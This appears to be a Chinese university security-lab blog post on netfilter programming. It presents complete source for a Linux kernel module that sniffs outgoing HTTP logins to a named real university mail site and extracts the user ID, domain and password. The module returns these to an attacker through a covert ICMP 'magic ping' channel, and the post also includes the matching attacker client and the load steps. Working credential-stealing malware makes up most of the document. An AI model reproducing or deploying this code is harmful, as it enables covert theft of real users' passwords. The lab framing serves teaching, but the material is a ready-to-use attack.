信息安全实验二:netfilter编程之http密码窃取

理论准备

1、翻译:Hacking the Linux Kernel Netwrok Stack(1)
重点关注:5.2 - 基于内核的FTP密码嗅探器
2、信息安全课程12:防火墙(netfilter/iptables)

实验环境

ubuntu12.04,为了省事还是直接跟咱老师统一环境吧。
另外注意先拍好虚拟机镜像,防止系统损坏。

目标网站分析

本实验窃取密码的前提是要明文传输,先必须找到一个登录页面是采用http协议(非https)的站点,不妨拿学校的邮件系统开刀: ) http://mail.ustc.edu.cn

下面进行抓包分析:信息安全实验二:netfilter编程之http密码窃取_第1张图片
可以看到我们需要的关键字段有三个:uid,domain和password。另外需要注意的如果不是首次登陆浏览器是只提交Cookie的,而在Cookie中会包含uid和domain两个关键字段,不包含password;换用户登录时也会提交一个带之前用户uid的Cookie。我们在窃取用户名及密码时需要先将Cookie字段排除掉。

代码:

1、http_sniff.c :受害者主机上的内核模块代码

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define MAGIC_CODE   0x5B
#define REPLY_SIZE   48

MODULE_LICENSE("GPL");

#define ICMP_PAYLOAD_SIZE  (htons(ip_hdr(sb)->tot_len) \
			       - sizeof(struct iphdr) \
			       - sizeof(struct icmphdr))

//对于邮箱密码需要的字段有三个
static char *userid = NULL;
static char *domain = NULL;
static char *password = NULL;

static int  have_pack = 0;	 

static unsigned int target_ip = 0;

/* Used to describe our Netfilter hooks */
struct nf_hook_ops  pre_hook;	       /* Incoming */
struct nf_hook_ops  post_hook;	       /* Outgoing */



/* Function that looks at an sk_buff that is known to be an FTP packet.
 * Looks for the USER and PASS fields and makes sure they both come from
 * the one host as indicated in the target_xxx fields */
static void check_http(struct sk_buff *skb)
{
	struct tcphdr *tcp;
	char *data;        //tcp数据部分,http
	char *uid;
	char *_and;
	char *domainptr;
	char *passwd;
	int len = 0;

	tcp = (struct tcphdr *)(skb->data + (ip_hdr(skb)->ihl * 4));
	data = (char *)((int)tcp + (int)(tcp->doff * 4));

	//Cookie中不包含password,但其包含的uid及domain往往并非采用密码登录的用户,先将其排除
	if(strstr(data,"Cookie") != NULL){
		data = strstr(data,"Cookie");    
		if(strstr(data,"\r\n")!= NULL) 
		data = strstr(data,"\r\n");     //匹配Cookie结尾处的回车换行\r\n
		else return;
	}

	//根据抓包分析,ustc邮件系统三个重要的字段是uid,domain和password
	if (strstr(data, "uid") !=NULL && strstr(data,"domain")!=NULL && strstr(data, "password") !=NULL) { 

		data = strstr(data,"uid");

		//用前面查找到的uid匹配出用户名
		uid = strstr(data,"uid=");
		_and = strstr(uid,"&");
		uid += 4;
		len = _and - uid;
		//申请内存,存入uid
		if ((userid = kmalloc(len + 2, GFP_KERNEL)) == NULL)
		  return;
		memset(userid, 0x00, len + 2);
		memcpy(userid, uid, len);
		*(userid + len) = '\0';


		//查找域名
		domainptr = strstr(data,"domain=");
		_and = strstr(domainptr,"&");
		domainptr += 7;
		len = _and-domainptr;
		if((domain = kmalloc(len + 2,GFP_KERNEL)) == NULL) return;
		memset(domain, 0x00, len+2);
		memcpy(domain, domainptr,len);
		*(domain+len) = '\0';

		
		//用前面查找到的password匹配出密码
		passwd = strstr(data,"password=");
		_and = strstr(passwd,"&");
		passwd += 9;
		len = _and - passwd;
		if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
		  return;
		memset(password, 0x00, len + 2);
		memcpy(password,passwd,len);
		*(password + len) = '\0';

	} else {
		return;
	}
	
	if (!target_ip)
     target_ip = ip_hdr(skb)->daddr;

	if (userid && password && domain)
		have_pack ++;		       /* Have a pack. Ignore others until
					   * this pack has been read. */
	if (have_pack)
		printk("Have password pack!  U: %s  D: %s  P: %s\n", userid, domain, password);
}



/* Function called as the POST_ROUTING (last) hook. It will check for
 * FTP traffic then search that traffic for USER and PASS commands. */
static unsigned int watch_out(unsigned int hooknum,
	struct sk_buff *skb,
	const struct net_device *in,
	const struct net_device *out,
	int(*okfn)(struct sk_buff *))
{
	struct sk_buff *sb = skb;
	struct tcphdr *tcp;

	/* Make sure this is a TCP packet first */
	if (ip_hdr(sb)->protocol != IPPROTO_TCP)
		return NF_ACCEPT;		       /* Nope, not TCP */

	tcp = (struct tcphdr *)((sb->data) + (ip_hdr(sb)->ihl * 4));

	//检测是否为http协议
	if (tcp->dest != htons(80))
		return NF_ACCEPT;		       /* Nope, not FTP */

	  /* Parse the FTP packet for relevant information if we don't already
	   * have a username and password pair. */
	if (!have_pack)
		check_http(sb);

	/* We are finished with the packet, let it go on its way */
	return NF_ACCEPT;
}




/* Procedure that watches incoming ICMP traffic for the "Magic" packet.
 * When that is received, we tweak the skb structure to send a reply
 * back to the requesting host and tell Netfilter that we stole the
 * packet. */
static unsigned int watch_in(unsigned int hooknum,
	struct sk_buff *skb,
	const struct net_device *in,
	const struct net_device *out,
	int(*okfn)(struct sk_buff *))
{
	struct sk_buff *sb = skb;
	struct icmphdr *icmp;
	char *cp_data;		       /* Where we copy data to in reply */
	unsigned int   taddr;	       /* Temporary IP holder */

	/* Do we even have a username/password pair to report yet? */
	if (!have_pack)
		return NF_ACCEPT;

	/* Is this an ICMP packet? */
	if (ip_hdr(sb)->protocol != IPPROTO_ICMP)
		return NF_ACCEPT;

	icmp = (struct icmphdr *)(sb->data + ip_hdr(sb)->ihl * 4);

	/* Is it the MAGIC packet? */
	if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO
		|| ICMP_PAYLOAD_SIZE < REPLY_SIZE) {
		return NF_ACCEPT;
	}


	/* Okay, matches our checks for "Magicness", now we fiddle with
	 * the sk_buff to insert the IP address, and username/password pair,
	 * swap IP source and destination addresses and ethernet addresses
	 * if necessary and then transmit the packet from here and tell
	 * Netfilter we stole it. Phew... */
	taddr = ip_hdr(sb)->saddr;
	ip_hdr(sb)->saddr = ip_hdr(sb)->daddr;
	ip_hdr(sb)->daddr = taddr;

	sb->pkt_type = PACKET_OUTGOING;

	switch (sb->dev->type) {
	case ARPHRD_PPP:		       /* Ntcho iddling needs doing */
		break;
	case ARPHRD_LOOPBACK:
	case ARPHRD_ETHER:
	{
		unsigned char t_hwaddr[ETH_ALEN];

		/* Move the data pointer to point to the link layer header */
		sb->data = (unsigned char *)eth_hdr(sb);
		sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet);
		memcpy(t_hwaddr, (eth_hdr(sb)->h_dest), ETH_ALEN);
		memcpy((eth_hdr(sb)->h_dest), (eth_hdr(sb)->h_source),
			ETH_ALEN);
		memcpy((eth_hdr(sb)->h_source), t_hwaddr, ETH_ALEN);
		break;
	}
	};

	/* Now copy the IP address, then Username, then password into packet */
	cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
	memcpy(cp_data, &target_ip, 4);
	if (userid)
		//memcpy(cp_data + 4, username, 16);
		memcpy(cp_data + 4, userid, 12);
	if (domain)
		memcpy(cp_data + 16,domain , 16);
	if (password)
		memcpy(cp_data + 32, password, 16);

	/* This is where things will die if they are going to.
	 * Fingers crossed... */
	dev_queue_xmit(sb);

	
	kfree(userid);
	kfree(domain);
	kfree(password);
	userid = domain = password = NULL;
	have_pack = 0;
	target_ip = 0;

	printk("Password retrieved\n");

	return NF_STOLEN;
}


int init_module()
{
	pre_hook.hook = watch_in;
	pre_hook.pf = PF_INET;
	pre_hook.priority = NF_IP_PRI_FIRST;
	pre_hook.hooknum = NF_INET_PRE_ROUTING;

	post_hook.hook = watch_out;
	post_hook.pf = PF_INET;
	post_hook.priority = NF_IP_PRI_FIRST;
	post_hook.hooknum = NF_INET_POST_ROUTING;

	nf_register_hook(&pre_hook);
	nf_register_hook(&post_hook);

	return 0;
}


void cleanup_module()
{
	nf_unregister_hook(&post_hook);
	nf_unregister_hook(&pre_hook);

	if (password)
		kfree(password);
	if (domain)
		kfree(domain);
	if (userid)
		kfree(userid);
}

2、getpass_http.c: 攻击者获取用户名密码程序

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#ifndef __USE_BSD
# define __USE_BSD		       /* We want the proper headers */
#endif
# include 
#include 

/* Function prototypes */
static unsigned short checksum(int numwords, unsigned short *buff);

int main(int argc, char *argv[])
{
	unsigned char dgram[256];	       /* Plenty for a PING datagram */
	unsigned char recvbuff[256];
	struct ip *iphead = (struct ip *)dgram;
	struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip));
	struct sockaddr_in src;
	struct sockaddr_in addr;
	struct in_addr my_addr;
	struct in_addr serv_addr;
	socklen_t src_addr_size = sizeof(struct sockaddr_in);
	int icmp_sock = 0;
	int one = 1;
	int *ptr_one = &one;

	if (argc < 3) {
		fprintf(stderr, "Usage:  %s remoteIP myIP\n", argv[0]);
		exit(1);
	}

	/* Get a socket */
	if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
		fprintf(stderr, "Couldn't open raw socket! %s\n",
			strerror(errno));
		exit(1);
	}

	/* set the HDR_INCL option on the socket */
	if (setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL,
		ptr_one, sizeof(one)) < 0) {
		close(icmp_sock);
		fprintf(stderr, "Couldn't set HDRINCL option! %s\n",
			strerror(errno));
		exit(1);
	}

	addr.sin_family = AF_INET;
	addr.sin_addr.s_addr = inet_addr(argv[1]);

	my_addr.s_addr = inet_addr(argv[2]);

	memset(dgram, 0x00, 256);
	memset(recvbuff, 0x00, 256);

	/* Fill in the IP fields first */
	iphead->ip_hl = 5;
	iphead->ip_v = 4;
	iphead->ip_tos = 0;
	iphead->ip_len = 84;
	iphead->ip_id = (unsigned short)rand();
	iphead->ip_off = 0;
	iphead->ip_ttl = 128;
	iphead->ip_p = IPPROTO_ICMP;
	iphead->ip_sum = 0;
	iphead->ip_src = my_addr;
	iphead->ip_dst = addr.sin_addr;

	/* Now fill in the ICMP fields */
	icmphead->icmp_type = ICMP_ECHO;
	icmphead->icmp_code = 0x5B;
	icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);

	/* Finally, send the packet */
	fprintf(stdout, "Sending request...\n");
	if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr,
		sizeof(struct sockaddr)) < 0) {
		fprintf(stderr, "\nFailed sending request! %s\n",
			strerror(errno));
		return 0;
	}

	fprintf(stdout, "Waiting for reply...\n");
	if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src,
		&src_addr_size) < 0) {
		fprintf(stdout, "Failed getting reply packet! %s\n",
			strerror(errno));
		close(icmp_sock);
		exit(1);
	}

	iphead = (struct ip *)recvbuff;
	icmphead = (struct icmp *)(recvbuff + sizeof(struct ip));
	memcpy(&serv_addr, ((char *)icmphead + 8),
		sizeof(struct in_addr));

	fprintf(stdout, "Stolen for http server %s:\n", inet_ntoa(serv_addr));
	fprintf(stdout, "Userid:    %s\n",
		(char *)((char *)icmphead + 12));
	fprintf(stdout, "Domain:    %s\n",
		(char *)((char *)icmphead + 24));
	fprintf(stdout, "Password:    %s\n",
		(char *)((char *)icmphead + 40));

	close(icmp_sock);

	return 0;
}

/* Checksum-generation function. It appears that PING'ed machines don't
 * reply to PINGs with invalid (ie. empty) ICMP Checksum fields...
 * Fair enough I guess. */
static unsigned short checksum(int numwords, unsigned short *buff)
{
	unsigned long sum;

	for (sum = 0; numwords > 0; numwords--)
		sum += *buff++;   /* add next word, then increment pointer */

	sum = (sum >> 16) + (sum & 0xFFFF);
	sum += (sum >> 16);

	return ~sum;
}

测试运行

编写Makefile文件

obj-m += http_sniff.o

all:
		make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
		make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

make
信息安全实验二:netfilter编程之http密码窃取_第2张图片
加载模块
sudo insmod ./http_sniff.ko
lsmod 查看模块

测试:
信息安全实验二:netfilter编程之http密码窃取_第3张图片

dmesg 查看设备printk信息
在这里插入图片描述
从攻击者视角获取密码:
信息安全实验二:netfilter编程之http密码窃取_第4张图片
rmmod http_sniff 关闭模块(完成后再关)

参考:https://blog.csdn.net/bw_yyziq/article/details/78290715

你可能感兴趣的:(信息安全)